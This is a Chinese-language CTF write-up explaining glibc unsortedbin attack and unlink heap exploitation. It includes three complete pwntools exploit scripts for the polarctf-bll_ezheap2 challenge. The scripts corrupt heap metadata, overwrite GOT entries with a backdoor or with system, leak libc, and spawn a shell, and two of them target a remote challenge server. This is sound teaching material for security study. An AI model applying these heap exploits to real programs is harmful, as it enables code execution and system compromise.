Unsortedbin attack与Unlink

Unsortedbin attack:

顾名思义,就是利用unsortedbin进行攻击/泄露,主要是进行泄露

  • 可以泄露libc基址:方式大概是申请一个不属于fastbin大小范围(如果有tcache的话64位下就要申请一个大小大于0x410的堆块防止进入tcache)的堆块,free后其fd和bk指针就指向跟libc有关系的地址,如果能再申请回来并打印这个地址,就可以用这个地址减去对应的偏移泄露出libc基址。
  • 攻击:简单来说就是在有UAF/堆溢出漏洞时,修改unsortedbin中一个堆块的bk指针,指向我们要写地址-0x10处,再申请这个堆块,就可以在目标地址写一个unsortedbin 的链表头部地址,这个值不受我们控制。

Unlink:

简单来说就是smallbin或者unsortedbin中的堆块合并后要进行脱链(两个堆块合并成一个了)要修改其fd和bk指针,通过伪造fd和bk指针使得其修改的指针写在我们想让他写的地方,但在有保护后就只能往原堆块的链表地址内写入原堆块的链表地址-0x18的效果了(比如有一串链表管理堆,*链表上的地址就是堆的地址,那这样的效果就是 *链表上的地址==链表上的地址-0x18)。同时需要满足fd指针为目标地址-0x18(原理就是fd指针指向的是下一个堆块的头,下一个堆块的头+0x18就是下一个堆块的bk指针,下一个堆块的bk指针一个要指向该堆块的头),bk指针要为目标地址-0x10(原理就是bk指针指向上一个堆块的头,上一个堆块的头+0x10就是上一个堆块的fd指针,上一个堆块的fd指针应该要指向该堆块的头),不过在往链表上写了之后相当于我们控制了所有堆块的起始地址,如果能编辑堆块的内容,那就可以实现真正的任意地址写(因为 *链表上的地址就是堆的地址,我们的unlink把链表上原本应该是堆块的地址改成了链接表的地址)

下面我们看例题

polarctf-bll_ezheap2

这题2.23版本的题,保护是Partial RELRO简单逆向一下如下

有后门,但是free置空了,没有uaf

但是edit函数有堆溢出漏洞

所以这题就很简单了,通过unlink往list链表写入函数的got表,通过edit改got表为backdoor即可getsell,exp如下

复制代码
from pwn import *
import sys
from ctypes import *
from ae64 import AE64
from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('1.95.36.136',2134)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,w):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(w)
def add(s):
    ru(b"choice:")
    sdr(1)
    ru("size:")
    sdr(s)
at=elf.got['atoi']
back=0x4009D5
tar=0x6010c0
fr=elf.got['free']
add(0x100)
add(0x100)
add(0x20)
pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
edit(0,0x110,pay)
free(1)
pay=0x18*b'b'+flat(at,fr)
edit(0,0x100,pay)
edit(1,0x100,p64(back))
free(3)
ti()

这题其实没有后门也可以写,先unlink改freegot表为puts,通过house of orange的手法泄露出libc地址,然后unlink改出system函数或者onegadget即可,或者直接打house of orange也可以,我就演示一下不用后门的,house of orange会另外出文章讲,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
from ae64 import AE64
from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('1.95.36.136',2125)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,w):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(w)
def add(s):
    ru(b"choice:")
    sdr(1)
    ru("size:")
    sdr(s)
at=elf.got['atoi']
tar=0x6010c0
fr=elf.got['free']
puts=elf.sym['puts']
add(0x100)
add(0x100)
add(0x20)
pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
edit(0,0x110,pay)
free(1)
pay=p32(0)+p32(2)+p64(0)*2+p64(fr)
edit(0,0x100,pay)
edit(0,0x100,p64(puts))
pay=b'b'*0x20+flat(0,0xdb1)
edit(2,0x40,pay)
add(0x1000)
add(0x20)
free(3)
rcl()
libcbase=u6(6)-0x3c4d78
ph(libcbase)
system=libcbase+libc.sym['system']
ph(system)
edit(0,0x8,p64(system))
edit(2,0x30,b'/bin/sh\x00'*2)
free(2)
ti()

也演示一下unsortedbin attack,这里因为没有uaf,但还可以通过堆溢出修改堆中内容,改前是这样

改后是这样

可以看到成功在我们指定的地方改出来了一个很大的数,演示的脚本如下

复制代码
from pwn import *
import sys
from ctypes import *
from ae64 import AE64
from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1.95.36.136',2125)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,w):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(w)
def add(s):
    ru(b"choice:")
    sdr(1)
    ru("size:")
    sdr(s)
at=elf.got['atoi']
back=0x4009D5
tar=0x6010c0
fr=elf.got['free']
puts=elf.sym['puts']
add(0x100)
add(0x400)
add(0x20)
pay=0x100*b'b'+p64(0)+p64(0x410)+p64(0)+p64(tar-0x10)
dbg()
free(1)
edit(0,0x300,pay)
add(0x400)
ti()